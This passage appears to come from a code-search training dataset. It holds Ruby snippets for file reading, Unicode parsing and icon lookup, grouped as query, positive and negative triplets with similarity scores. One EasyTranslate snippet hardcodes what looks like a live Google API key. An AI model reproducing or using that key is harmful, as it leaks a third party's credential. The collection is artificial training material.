|f| Marshal.load f.read }\n rescue => e\n raise IOError.new(\"Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable\")\n end\n\n # Redefine the === method so we can write shorter rules for grapheme cluster breaks\n @boundary.each do |k,_|\n @boundary[k].instance_eval do\n def ===(other)\n detect { |i| i === other } ? true : false\n end\n end if @boundary[k].kind_of?(Array)\n end\n\n # define attr_reader methods for the instance variables\n class << self\n attr_reader(*ATTRIBUTES)\n end\n end", "def symbols(file); end", "def symbols(file); end", "def readUnihanDatabase(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^#/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][a[1].to_sym] = a[2]\n end\n end\nend", "def readIDSFile(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^;;/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][:ids] = a[2].to_u\n end\n end\nend", "def read_character_data(list_of_characters)\n chars = list_of_characters.gsub(\" \", \"\").split(\",\")\n result = \"\"\n chars.each do |val|\n result << (\"%c\" % val.to_i)\n end\n result\n end", "def parse_fnt_file(filename)\n fontFile = File.open(filename)\n \n fontFile.each_line { |line|\n \n entries = line.split(\" \")\n \n case entries[0]\n # Info about the font\n when \"info\"\n for i in 1...entries.length\n key_value = entries[i].split(\"=\")\n case key_value[0]\n when \"size\", \"stretchH\", \"spacing\", \"outline\"\n @info[key_value[0].to_sym] = key_value[1].to_i\n when \"bold\", \"italic\", \"unicode\", \"smooth\", \"aa\"\n @info[key_value[0].to_sym] = (key_value[1].to_i == 1)\n end\n end\n \n # Info common to all characters\n when \"common\"\n for i in 1...entries.length\n key_value = entries[i].split(\"=\")\n case key_value[0]\n when \"lineHeight\", \"base\", \"scaleW\", \"scaleH\", \"pages\"\n @common[key_value[0].to_sym] = key_value[1].to_i\n when \"packed\"\n @common[key_value[0].to_sym] = (key_value[1].to_i == 1)\n end\n end\n \n # Info about the bitmap pages that contain the characters\n when \"page\"\n page = Page.new\n \n for i in 1...entries.length\n key_value = entries[i].split(\"=\")\n case key_value[0]\n when \"id\"\n page[key_value[0].to_sym] = key_value[1].to_i\n when \"file\"\n page[key_value[0].to_sym] = key_value[1].tr(\"\\\"\", \"\")\n end\n end\n \n @pages[page.id] = page\n \n # Info about individual characters\n when \"char\"\n char = Char.new\n \n for i in 1...entries.length\n key_value = entries[i].split(\"=\")\n case key_value[0]\n when \"id\", \"x\", \"y\", \"width\", \"height\", \"xoffset\", \"yoffset\", \"xadvance\", \"page\"\n char[key_value[0].to_sym] = key_value[1].to_i\n end\n end\n \n @chars[char.id] = char\n end\n }\n end", "def test_exotic_char\n CheckFile @writer, @ioservice, @adlers, \n \"J'espรจre que รงa va marcher\", \n \"J'espรจre que รงa va marcher\".bytes.each_slice(@chunkSize).to_a.map{|a| a.pack('C*')} \n end", "def load(file_path); end", "def load(file_path); end", "def read_text(filename); end", "def load(fn)\n return if ! File.exists?(fn)\n lines = File.read fn\n lines.gsub!(/\\\\ /, SPACE_MARK)\n lines.gsub!(/#[^\\n]*\\n/m, \"\")\n lines.gsub!(/\\\\\\n/, ' ')\n lines.each_line do |line|\n process_line(line)\n end\n end", "def load_file( file )\n\t\tbegin\n\t\t\t@filename = file\n\t\trescue Exception => e\n\t\t\tbaxter( e )\n\t\tend\n\tend", "def load_character(flush_it = false)\n if flush_it\n dispose_bitmaps_from_cache_tab(@character_cache)\n else\n @character_cache = {}\n @character_data = Yuki::VD.new(PSDK_PATH + '/master/character', :read)\n end\n end", "def load_file(file)\n\n CachedFile.reset_seq\n\n cfile = nil\n File.foreach(file) do |line|\n next if line.empty?\n next if line[0] == ?#\n\n line.chomp!\n if line[0] == ?/\n cfile = CachedFile.new line\n next unless File.exist?(line) # sorry for the creat and abandon fuss\n cfile.init_attrs\n @cfile_by_name[cfile.file] = cfile if @@fstab[cfile.dev]\n elsif line =~ /^\\d+\\s+\\d+/\n idx, len = line.split\n cfile.add_page_range idx.to_i, len.to_i\n end\n\n end # File.foreach\n self\n end", "def readwordfile name\r\n\t\t \tl_num=0\r\n\t\t File.open(name).each do |l|\r\n\t\t \t@wordtable[l_num] = l.gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\r\n\t\t l_num +=1\r\n\t\t end\r\n\t\t return l_num\r\n\t\t end", "def character_split\n full_string = File.read(file_name)\n full_string.each_line do |line|\n puts line.each_char { |c| puts c, \"/n \" }\n end\n end", "def read_file\n @codes = [@path]\n File.open(@path).each { |l|\n @codes << l\n }\n end", "def load_words\n File.read(\"../scrabble word cheat/words.txt\").split(\"\\n\")\nend", "def load_rb(filename); end", "def loadfile(filename)\n file = nil\n open(filename, 'r') do |f|\n file = f.read\n end\n file\nend", "def load_file_data(file)\n @data = separate_into_blocks(IO.readlines(file))\n end", "def read_file (file_path)\n @code = ''\n File.open(file_path,'r') do |file|\n while line = file.gets\n @code << line\n end\n end\n @code\n end", "def utf8read(x)\n File.open(x,\"rb\"){|f|\n if f.getbyte!=0xef || f.getbyte!=0xbb || f.getbyte!=0xbf\n f.pos=0 # skip UTF-8 byte order mark\n end\n data=f.read\n ec1=Encoding::Converter.new(\"utf-8\",\"utf-16\",{\n :undef=>:replace,\n :invalid=>:replace\n })\n ec2=Encoding::Converter.new(\"utf-16\",\"utf-8\",{\n :undef=>:replace,\n :invalid=>:replace,\n :replace=>\"\\uFFFD\"\n })\n data=ec1.convert(data)\n data=ec2.convert(data)\n return data\n }\nend", "def read_file(filename); end", "def load_letters\n return nil unless File.exist?('log/letters.dat')\n\n h = {}\n File.readlines('log/letters.dat').each do |line|\n rank, letter = line.strip.split(/\\s+/)\n h[letter] = Float(rank)\n end\n h\n end", "def load_file_contents(file)\n File.open(file, 'r').read\n end", "def load_data_utf8(filename)\n unless PSDK_CONFIG.release? && filename.start_with?('Data/')\n File.open(filename) do |f|\n return Marshal.load(f, proc { |o| o.class == String ? o.force_encoding(Encoding::UTF_8) : o })\n end\n end\n return load_data(filename, true)\nend", "def fromFile( filename ) \n lines = IO.readlines( filename )\n loadAll( lines )\n end", "def load(fn) # :nodoc:\n lines = File.read fn\n lines.gsub!(/\\\\ /, SPACE_MARK)\n lines.gsub!(/#[^\\n]*\\n/m, \"\")\n lines.gsub!(/\\\\\\n/, \" \")\n lines.each_line do |line|\n process_line(line)\n end\n end", "def parse_file!(file, arg={})\n spx = ICU::Util::File.read_utf8(file)\n arg[:is_utf8] = true\n parse!(spx, arg)\n end", "def load\n file_name = ask_save_file\n save_file = File.open(file_name, 'r')\n save_file.pos = 0\n contents = unserialize(save_file.read)\n @name = contents['name']\n @guess = contents['guess']\n @word = contents['word']\n @bank = contents['bank']\n @lives = contents['lives']\n @letter = contents['letter']\n puts \"Game has been loaded from Save File #{file_name[-5]}!\"\n puts \"\\n\\n\"\n end", "def parse_file!(input_file)\r\n File.open(input_file, \"rb:UTF-8\").each(LOCSTR_END_OF_LINE + \"\\n\") do |line|\r\n strings << line.chomp(LOCSTR_END_OF_LINE + \"\\n\") + \"\\x00\"\r\n end\r\n\r\n @number_of_strings = @strings.size\r\n @offset_to_strings = 8 + 8 * @number_of_strings\r\n end", "def read_binary(file); end", "def raw_code\n @raw_code ||= (File.read path).to_s.force_encoding(Encoding::UTF_8)\n end", "def readFile(fileName)\r\nputs open(fileName).read\r\nend", "def load_file(file)\n File.open(file, \"r\") { |f| load(f) }\n end", "def dictionary\n character_set = {}\n text_file.each{|x| character_set[x[0]] = (x[3..4].to_i)}\n character_set\n end", "def load_from_file(fname)\n # first load plaintext file into memory\n ary_newdata = ''\n ary_pwdata = @pwdata.split \"\\n\"\n File.open(fname) do |f|\n ary_newdata = f.readlines.reject do |e|\n match = e.match(/([^:]+):[^:]+:[^:]+/)\n tok1 = (match ? match[1] : nil)\n tok1 == nil || ary_pwdata.find { |d| d =~ /^#{tok1}/i }\n end\n end\n # readlines leaves newlines, remove since add_to_safe doesn't expect them\n ary_newdata.map! { |e| e.chomp }\n # encrypt and save new safe contents\n add_to_safe(ary_newdata)\n ary_newdata.size\n end", "def from_file(file)\n from_s Utils::read_file file\n end", "def from_file(file)\n from_s Utils::read_file file\n end", "def ascii\n file = File.open(\"/Users/kimberley/Desktop/asciiartfile.txt\", \"r\")\n contents = file.read\n puts contents.colorize(:magenta)\nend", "def read_input_file(filename)\n output = File.open(filename, \"r\").read.delete!(\"\\r\")\n output.sanitize_unicode\n end", "def read_file\n \t@readin = []\n file = File.open(@filename[@file_count], 'r')\n\t @readin = file.each.to_a\n\t # chop off the escaped characters (in this case: \\r\\n)\n @readin.map! {|s| s.chomp}\n # increment the file count\n @file_count += 1\n file.close\n # determine which file was read in\n # the files either have a \"W\" (for power) or \"Wh\" as the first line\n \tif @readin[0] =~ /Wh/\n \t\tparse_energy\n \telse @readin[0] =~ /W/\n \t\tparse_power\n \tend\n end", "def load_data(filename)\n if File.exist? filename\n line_num = 0\n File.foreach (filename) do |line|\n line_num += 1\n line = line.chomp.to_i\n if line_num == 1\n @number_of_symbols = line \n else\n @input_weights << line\n insert line\n end\n end\n end\n end", "def read\n return unless ::File.exist?(@file)\n\n @data = Bencode.decode(::File.read(@file))\n end", "def initialize(file)\n @file = reopen_with_utf16_encoding(file)\n end", "def load(filename)\n end", "def in_yaml_file(character)\n unpacked = character.unpack(\"U\")[0]\n \"#{code_group(unpacked)}.yml (line #{grouped_point(unpacked) + 2})\"\n end", "def load_hero_file\n clear_message_box\n #ask for file\n @ui.set_colour(DungeonOfDoom::C_BLACK_ON_YELLOW)\n @ui.place_text('USE CHARACTER FILE?'.ljust(20),1,2)\n @ui.place_text('>'.ljust(20),1,3)\n file_name=nil\n #loop until file is good\n while file_name.nil?\n @ui.place_text(' '*19,2,3)\n file_name = @ui.get_string(2,3)\n #check and try to open file\n if file_name.split('.').last != 'yaml' #needs yaml extention\n @ui.place_text('!REQUIRES YAML EXT'.ljust(20),1,4)\n file_name=nil\n elsif !File.exists?(file_name) #file must exist\n @ui.place_text('!FILE NOT FOUND'.ljust(20),1,4)\n file_name=nil\n else\n hero_data = YAML.load(File.open(file_name))\n if hero_data.is_a? Hash #file must be in a valid yaml format\n #load stats\n hero_data[:stats].each do |stat|\n @stats[stat[0].downcase.to_sym] = stat[1]\n end\n @orig_stats.merge!(@stats) #make a copy\n #load objects\n @objects = hero_data[:objects]\n #load remaining gold (used for final score)\n @gold_count += hero_data[:gold]\n #display heros name\n @ui.place_text(hero_data[:name].center(20), 1, 1, DungeonOfDoom::C_BLACK_ON_WHITE)\n #set magic spell count based on 2 x power of NECRONOMICON and SCROLLS\n book = @objects.find { |object| object[:name]=='NECRONOMICON' }\n if book\n power = book[:power]\n [:super_zap, :santuary, :teleport].each do |spell|\n @spells[spell] = power\n end\n end\n scroll = @objects.find { |object| object[:name]=='SCROLLS' }\n if scroll\n power = scroll[:power]\n [:powersurge, :metamorphosis, :healing].each do |spell|\n @spells[spell] = power\n end\n end\n #set torch power\n torch = @objects.find { |object| object[:name]=='TORCH' }\n @torch_power = torch[:power] if torch\n #find initial potion count\n potion = @objects.find { |object| object[:name]=='POTION' }\n @potions += potion[:count] if potion\n #find initial attack power\n ['2 HAND SWORD','BROADSWORD','SHORTSWORD','AXE','MACE','FLAIL','DAGGER','GAUNTLET'].each do |item|\n object = @objects.find { |object| object[:name]==item }\n @attack += object[:power] if object\n end\n @attack += @stats[:strength]\n #find initial defence power\n ['HEAVY ARMOUR','CHAIN ARMOUR','LEATHER SKINS','HEAVY ROBE','GOLD HELMET','HEADPIECE','SHIELD'].each do |item|\n object = @objects.find { |object| object[:name]==item }\n @defence += object[:power] if object\n end\n else #all okay!\n @ui.place_text('!FILE BAD FORMAT'.ljust(20),1,4)\n file_name=nil\n end\n end\n end\n end", "def load_word_list\n @word_list = []\n puts \"Loading word list...\"\n File.readlines(WORDLIST_FILE).each{|word|\n word.gsub!(/[\\r\\n]+/,\"\")\n if valid_word?(word, @inner_letter, @outer_letters)\n @word_list << word\n end\n }\n @word_list.sort!\n puts \"Word list loaded.\"\n end", "def load(file)\n File.open(path(file)).read\n end", "def initialize file\n EasyTranslate.api_key = 'AIzaSyDrbD0AfKHiMZTYoite-ec4byLNlPxoX8k'\n @file = file\n @properties = {}\n \n File.open(file, \"r:UTF-8\").each do |line| \n if line.include? \":\"\n splited_line = line.encode!('UTF-8').strip.split(':')\n @properties[splited_line[0]] = splited_line[1] \n end \n end\n end", "def load_file_contents(filename)\n File.open(filename).readlines\n end", "def read filename\n File.readlines(filename).each do |line|\n row = line.strip.split\n #determine which map type to use, state abbr. will always be 2 characters\n @type = row.first.length == 2 ? \"usa\" : \"counties\"\n counts[row.first] = row.last.to_i\n end\n end", "def password_from_file()\n file = File.open(\"password.txt\", \"rb\")\n contents = file.read\n contents = contents.split(\":\")\n end", "def array_by_40_characters \n recieve_and_read_file.scan(/.{1,40}/)\n end", "def read_file(path)\n lines = []\n count = 0\n vocab = Set.new\n File.open(path, \"r:ISO-8859-1\").each do |line|\n line = line.strip\n vocab.merge(parse_vocab(line))\n lines << line\n count += 1\n end\n return lines, vocab\nend", "def read characters\n forward characters\n end", "def read_word_file\n File.open(\"5desk.txt\").each { |line| @text_file << line }\n end", "def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend", "def load_dict\n words = []\n File.open(\"dict.txt\").each do |line| # Hard code for now\n if line.length.between?(5, 12)\n words << line.rstrip.downcase\n end\n end\n words\n end", "def read_files\r\n @prefixes = IO.read('prefixes.txt').split(' ')\r\n @syllables = IO.read('syllables.txt').split(' ')\r\n @postfixes = IO.read('postfixes.txt').split(' ')\r\n end", "def load\n grid = content.split(\"\\n\")\n grid.length.times{|row|\n grid[row].length.times{|col|\n if grid[row][col] == \"๐Ÿ”ด\"\n Piece.new(row, col, \"r\", \"๐Ÿ”ด\")\n elsif grid[row][col] == \"๐Ÿ”ต\"\n Piece.new(row, col, \"l\", \"๐Ÿ”ต\")\n end\n }\n }\n end", "def split_string(input_file)\n input_file.chars\n end", "def read_support_file(file_path)\n File.open File.expand_path(\"../support/#{file_path}\", __FILE__), \"r:UTF-8\", &:read\nend", "def in_yaml_file(character)\n unpacked = character.unpack(\"U\")[0]\n \"#{code_group(unpacked)}.yml (line #{grouped_point(unpacked) + 2})\"\n end", "def read file\n File.open file\n end", "def load(filename)\n\t\tend", "def read_languages_from_file(data_file)\n File.open(data_file, 'rb') do |fin|\n until fin.eof\n label, outputs = Marshal.load(fin)\n yield label, outputs\n end\n end\nend", "def open_file\n begin\n @text = File.open(@file_name).read\n @text.gsub!(/\\r\\n?/, '\\n')\n rescue => e\n Utils_errors::critical_error('could not open file ' + @file_name.yellow, e)\n end\n true\n end", "def load_from_file(file, options = T.unsafe(nil)); end", "def character_exist?(filename)\n test_file_existence(filename, Characters_Path, @character_data)\n end", "def LoadFile ()\n\t\n\tinput = \"\"\n\tFile.foreach(\"../Data Files/042-Words.txt\") {|x| input = x }\n\tnames = input.split(\",\")\n\t\n\treturn names;\nend", "def read_file\n\t\tif @filename == \"\"\n\t\t\t@text = [\"\"]\n\t\t\treturn\n\t\telse\n\t\t\tif File.exists? @filename\n\t\t\t\ttext = IO.read(@filename)\n\t\t\telse\n\t\t\t\t@text = [\"\"]\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t# get rid of crlf\n\t\ttemp = text.gsub!(/\\r\\n/,\"\\n\")\n\t\tif temp == nil\n\t\t\t@eol = \"\\n\"\n\t\telse\n\t\t\t@eol = \"\\r\\n\"\n\t\tend\n\t\ttext.gsub!(/\\r/,\"\\n\")\n\t\t@text = text.split(\"\\n\",-1)\n\tend", "def get_context_from_file(filepath)\r\n context = []\r\n\r\n end_header = false\r\n before_line = \"before\"\r\n\r\n open(filepath) {|f|\r\n f.each {|line|\r\n line = line.encode(\"UTF-16BE\", :invalid => :replace, :undef => :replace, :replace => '?').encode(\"UTF-8\")\r\n line = line.chomp\r\n\r\n if before_line.empty? and not line.empty? and not @header_regxp.match(line)\r\n end_header = true\r\n end\r\n\r\n context << line if end_header\r\n\r\n before_line = line\r\n }\r\n }\r\n context.join(\" \")\r\nend" ]
[ "0.684253", "0.6768453", "0.65269077", "0.6445389", "0.64031976", "0.62625116", "0.6199827", "0.6198277", "0.6142762", "0.6142762", "0.6078673", "0.6052096", "0.604999", "0.60332793", "0.60149586", "0.60149586", "0.600913", "0.6007527", "0.59871703", "0.5974103", "0.5916036", "0.58676183", "0.5838604", "0.5828351", "0.5823929", "0.58131796", "0.58131796", "0.5805106", "0.58038086", "0.5709126", "0.56942815", "0.5683824", "0.5683231", "0.5683231", "0.5669508", "0.5666657", "0.5651443", "0.56410736", "0.5640947", "0.56382084", "0.5627596", "0.5625176", "0.5618624", "0.56137484", "0.5558344", "0.5552808", "0.55495095", "0.55492985", "0.5544977", "0.55344754", "0.5530612", "0.55272496", "0.5517752", "0.5516003", "0.549505", "0.5493638", "0.54889375", "0.5461139", "0.54595983", "0.5453049", "0.54493666", "0.54489374", "0.5447385", "0.54457176", "0.54457176", "0.5441927", "0.54414946", "0.5435815", "0.5429455", "0.54243815", "0.5404183", "0.5397929", "0.53960776", "0.538789", "0.5376393", "0.53744155", "0.5373152", "0.53730106", "0.53683287", "0.5358056", "0.5358036", "0.5355514", "0.5347504", "0.5347492", "0.53464663", "0.53437775", "0.53308314", "0.53304505", "0.5320868", "0.5315683", "0.5312901", "0.5298091", "0.5286994", "0.5283993", "0.5283384", "0.5281594", "0.52676207", "0.5262598", "0.5258341", "0.5258202" ]
0.5787247
29
////////////////////////////////////////////////////////////////////////// Properties ////////////////////////////////////////////////////////////////////////// Get icon_index of the element GET
def icon_index() return CORE_CONFIG::ELEMENT_ICONS[self.id] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def icon\n self.number\n end", "def icon_index(item)\n return $data_items[item.item_id].icon_index if item.item?\n return ($data_items.find { |i| !i.nil? && i.subtype_id == item.category_id}).icon_index if item.category?\n end", "def icon_index(level = @skl_level)\n return @skl_levelcache[level][:icon_index]\n end", "def icon_index\n MapConfig::ICONS[@type];\n end", "def icon\n return @icon\n end", "def icon\n @icon\n end", "def ImageList_ExtractIcon(hi, himl, i)\r\n ImageList_GetIcon(himl, i, 0)\r\n end", "def parse_custom_icon_index\n # offset the index as necessary, using the icon sheet to look up the offset\n self.icon_index = TH::Custom_Icon_Sheets.icon_offsets[self.icon_sheet] + @custom_icon_index\n @custom_icon_index_checked = true\n end", "def icons key\n (icons_info[key.to_s] || key)\n end", "def icon\n tag.span(\"\", class: \"icon\")\n end", "def buff_icon_index(buff_level, param_id)\r\n if buff_level > 0\r\n return ICON_BUFF_START + (buff_level - 1) * 8 + param_id\r\n elsif buff_level < 0\r\n return ICON_DEBUFF_START + (-buff_level - 1) * 8 + param_id \r\n else\r\n return 0\r\n end\r\n end", "def icon_change_icon(icon_change_index)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.SplitsComponentState_icon_change_icon(@handle.ptr, icon_change_index)\n result\n end", "def get_icon(item)\n icon_index = item.icon_index\n icon = Bitmap.new(24, 24)\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n icon.blt(x, y, bitmap, rect)\n icon\n end", "def click_icon()\n return @driver.find_element(:xpath => '//*[@id=\"layout\"]/up-header-visitor-primary-nav/nav/div/div[2]/div[1]/up-header-search/up-c-on-click-outside/form/div/div/button[2]')\n end", "def icons(key)\n (icons_info[key.to_s] || key)\n end", "def icon()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.Segment_icon(@handle.ptr)\n result\n end", "def inki_icon\n\t\t\t@inki_icon\n\t\tend", "def list_item_number(**opt)\n super(**opt) do\n control_icon_buttons(**opt.slice(:index))\n end\n end", "def icon=(value)\n @icon = value\n end", "def icon_location\n @link.IconLocation\n end", "def index\n @anchor.drawing.worksheet.workbook.images.index(self)\n end", "def on_get_item_column_image(i, col)\n -1\n end", "def draw_icon(icon_index, x, y, enabled = true)\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * line_height, icon_index / 16 * line_height, line_height, line_height)\n @info.blt(x, y, bitmap, rect, enabled ? 255 : 128)\n end", "def icon\n icon = Icon.where(:id => icon_id).first\n icon ||= package_branch.icon\n icon ||= package_category.icon\n\n icon\n end", "def draw_icon(icon_index, x, y, enabled = true)\n bitmap = Cache.system('Iconset')\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n self.blt(x, y, bitmap, rect, enabled ? 255 : 128)\n end", "def icon_file(index = 0)\n return @icon_file unless @icon_file.empty?\n return weapons[index].icon_file if weapons[index]\n return ''\n end", "def icon_file(index = 0)\n return @icon_file unless @icon_file.empty?\n return weapons[index].icon_file if weapons[index]\n return ''\n end", "def elem(i)\r\n @elemek[i]\r\n end", "def index(element); end", "def [](i)\n @elem[i]\n end", "def icon\n content_tag(:span, \"\", class: \"icon\")\n end", "def get_index(i)\n i/BITS_PER_ITEM\n end", "def icon\n @power_up.icon\n end", "def icon\n if active\n expr.descending ? '&#9660;' : '&#9650;'\n end\n end", "def index\n @icons = Icon.all\n end", "def on_get_item_column_image(iIdxItem, iIdxColumn)\n rIdxImage = ''\n\n case iIdxColumn\n when 0\n rIdxImage = @ImageListManager.getImageIndex(@DisplayedList[iIdxItem][2]) do\n if (@DisplayedList[iIdxItem][2])\n rImage = getGraphic('Checkbox_Checked.png')\n else\n rImage = getGraphic('Checkbox_UnChecked.png')\n end\n next rImage\n end\n when 1\n rIdxImage = @ImageListManager.getImageIndex( [\n Wx::Bitmap,\n @Controller.getIntegrationPlugins[@DisplayedList[iIdxItem][0]][:BitmapName]\n ] ) do\n next @Controller.getPluginBitmap(@Controller.getIntegrationPlugins[@DisplayedList[iIdxItem][0]])\n end\n when 2\n rIdxImage = @ImageListManager.getImageIndex( [\n Tag,\n @DisplayedList[iIdxItem][1]\n ] ) do\n if (@DisplayedList[iIdxItem][4][1] == nil)\n # This Tag does not exist in this data.\n next getGraphic('UnknownTag.png')\n else\n next @Controller.getTagIcon(@DisplayedList[iIdxItem][4][1])\n end\n end\n else\n log_bug \"Unknown column ID #{iIdxColumn} for image list display.\"\n end\n\n return rIdxImage\n end", "def icons_info\n @icons_info ||= icons_file\n end", "def icon(s)\n if self['iconset'] && self['iconset'].has_key?(s) then self['iconset'][s] else s end\n end", "def ele_index(class_name, index)\n results = tags(class_name)\n if index == 'last()'\n index = results.length\n index -= 1 if index >= 0\n else\n raise 'Index must be >= 1' unless index >= 1\n\n index -= 1 if index >= 1\n end\n\n # uiautomator has issues with index/instance so calculate the index\n # client side.\n results[index]\n end", "def the_icon\n icon.sub(/^icon\\-/, 'fa fa-')\n end", "def icon\n if !corrected\n return dash_icon\n else\n if star\n return star_icon\n elsif score == 7\n return v_icon\n else\n return x_icon\n end\n end\n end", "def draw_icon(icon_index)\n self.bitmap = Bitmap.new(24, 24) if !self.bitmap\n crect = Rect.new(0,0,24,24)\n bitmap.clear_rect(crect)\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n self.bitmap.blt(0, 0, Cache.iconset, rect)\n end", "def chosen_icon\n '<span class=\"ui-icon ui-icon-check\" />'\n end", "def icons_info\n @icons_info ||= icons_file\n end", "def icon\n \"dp_icons/%.3d.gif\" % id\n end", "def icon_tag key\n content_tag :i, \"\", :class => icons(key)\n end", "def icon\n if !layer.icon.nil?\n layer.icon.image.url(:smaller)\n end\n end", "def extract_index(image_entry)\n index_m = /\\/(\\d+)\\./.match(image_entry)\n\n unless index_m\n @logger.warn \"Failed to parse the index integer from #{image_entry}\"\n return\n end\n\n index_value = index_m[1]\n index = index_value.to_i\n index - 1\n end", "def index_at(element)\n find_element(element, :index)\n end", "def set_icon\n @icon = Icon.find(params[:id])\n end", "def set_icon\n @icon = Icon.find(params[:id])\n end", "def set_icon\n @icon = Icon.find(params[:id])\n end", "def icon_name=(icon_name)\n end", "def initialize(iconIndex, value)\n self.iconIndex = iconIndex\n self.value = value\n end", "def large_icon\n return @large_icon\n end", "def icon_tag(key)\n content_tag :i, nil, class: icons(key)\n end", "def icon_change_segment_index(icon_change_index)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.SplitsComponentState_icon_change_segment_index(@handle.ptr, icon_change_index)\n result\n end", "def icon\n if @icon.nil?\n icon_node = FeedTools::XmlHelper.try_xpaths(self.channel_node, [\n \"link[@rel='icon']\",\n \"link[@rel='shortcut icon']\",\n \"link[@type='image/x-icon']\",\n \"icon\",\n \"logo[@style='icon']\",\n \"LOGO[@STYLE='ICON']\"\n ])\n unless icon_node.nil?\n @icon = FeedTools::XmlHelper.try_xpaths(icon_node, [\n \"@atom10:href\",\n \"@atom03:href\",\n \"@atom:href\",\n \"@href\",\n \"text()\"\n ], :select_result_value => true)\n begin\n if !(@icon =~ /^file:/) &&\n !FeedTools::UriHelper.is_uri?(@icon)\n channel_base_uri = nil\n unless self.channel_node.nil?\n channel_base_uri = self.channel_node.base_uri\n end\n @icon = FeedTools::UriHelper.resolve_relative_uri(\n @icon, [channel_base_uri, self.base_uri])\n end\n rescue\n end\n @icon = nil unless FeedTools::UriHelper.is_uri?(@icon)\n @icon = nil if @icon.blank?\n end\n end\n return @icon\n end", "def [](indx)\n elements[indx]\n end", "def getImaginario\n\t\treturn @i\n\tend", "def icons_visible\n return @icons_visible\n end", "def idx\n @ob.get_idx\n end", "def index_of element\n @index.key @data.index(element)\n end", "def state_icons\r\n icons = states.collect {|state| state.icon_index }\r\n icons.delete(0)\r\n icons\r\n end", "def [](i)\n @elements[i]\n end", "def [](i)\n\t\t\t@elements[i]\n\t\tend", "def cart_icon\n FindersDef.new(self).find_element(\"id\",\"com.gamestop.powerup.gti:id/actionlayout_cart_imageview\",__method__)\n # wait(20) { find_element(:id, 'actionlayout_cart_imageview') }\n end", "def element i=0\n @array[i]\n end", "def icon_chooser\n \"red\"\n end", "def icon_ok\n icon('ok')\n end", "def draw_item(index)\n rect = item_rect(index)\n contents.clear_rect(rect)\n draw_icon(@list[index][:ext], rect.x + ((rect.width - 24) / 2), rect.y, enable?(index))\n end", "def icon_change()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.TitleComponentState_icon_change(@handle.ptr)\n result\n end", "def large_icon_anchor\n [34 / 2, 54]\n end", "def visual_index\n row = @current_index\n row - @prow\n end", "def glyph i, j\n unless (1..@rows).cover?(i) && (1..@cols).cover?(j)\n raise Exception \"Row #{i} is out of range (max #{@rows})\"\n end\n @contents[i - 1][j - 1]\n end", "def get_id(ind)\n\t\treturn @tile_Array[ind].return_id\n\tend", "def icon_overview\n \"dashboard\"\n end", "def icon_url(icon)\n icon_set_url % icon\n end", "def icon_url\n return nil if @icon_id.nil?\n\n API.app_icon_url(@id, @icon_id)\n end", "def icon ; @phase_shift ? 280 : nil ; end", "def cheri_icon\n @cheri_icon ||= get_icon('cheri_icon_16x16.png')\n end", "def icon\n\t\timage+'.png' rescue 'pushpin.png'\n\tend", "def getIconById(icons, id)\n icons.each { |icon| return icon[:icon] if icon[:rsc_id] == id }\n nil\n end", "def index_offset(io, tag='indexListOffset', bytes_backwards=200)\n tag_re = %r{<#{tag}>([\\-\\d]+)</#{tag}>}\n io.pos = (io.size - 1) - bytes_backwards\n md = io.readlines(\"\\n\").map {|line| line.match(tag_re) }.compact.shift\n md[1].to_i if md\n end", "def my_index(arg)\n self.each_with_index do |ele,idx|\n if ele == arg\n return idx\n end\n end\n return nil\n end", "def icon\n img :src => $imgHostURL + \"/\" + $iconImg\n end", "def image idx=0\n @images[idx]\n end", "def icon\n return 'ban' if cancelled?\n return 'pencil' if incomplete?\n return nil if concluded?\n return 'question-circle' if current?\n fully_shipped? && 'exclamation-circle' || 'truck'\n end", "def icon\n image_tag( \"tags/#{ @name }.png\" , :height => 8 )\n end", "def indices(i)\n [(i/WIDTH),(i-1) % (WIDTH)]\n end", "def indices(i)\n [(i/WIDTH),(i-1) % (WIDTH)]\n end", "def icon; Settings::LOCATION_WINDOW_ICON; end", "def draw()\n if self.iconIndex != nil\n bitmap = Cache.system(\"IconSet\")\n @cIcon.img_bitmap = bitmap\n @cIcon.src_rect = Rect.new(self.iconIndex % 16 * 24, self.iconIndex / 16 * 24, \n 24, 24)\n @cIcon.draw()\n end\n end", "def icon\n options[:icon] || (traits.slice!(0).to_s if traits.first.is_a?(String))\n end", "def getGroupIcon _obj, _args\n \"_obj getGroupIcon _args;\" \n end", "def get_item(index)\n # TODO\n end", "def get_icon(extension)\n ICONS.each do |ext_type|\n # Compare the extension to each value in the list\n ext_type.each do |value|\n if extension == value\n return ext_type[0]\n end\n end\n end\n \n # If extension doesn\"t match anything on the list, return default\n return \"default\"\n end", "def icon\n return '' if @feed.channel.image.nil?\n @feed.channel.image.url\n end", "def get_index(i)\n\t\tif (!@head || @size < i+1)then return false end\n\t\tcurrent = this.head\n\t\tcount = 0\n\t\twhile (count < i) #go to the index\n\t\t\tcurrent = current.get_next()\n\t\t\tcount+=1\n\t\tend\n\t\treturn current.get_item()\n\tend", "def icon\n image_tag(\"/assets/valhalla/#{icon_file_name}\", alt: @visibility, class: 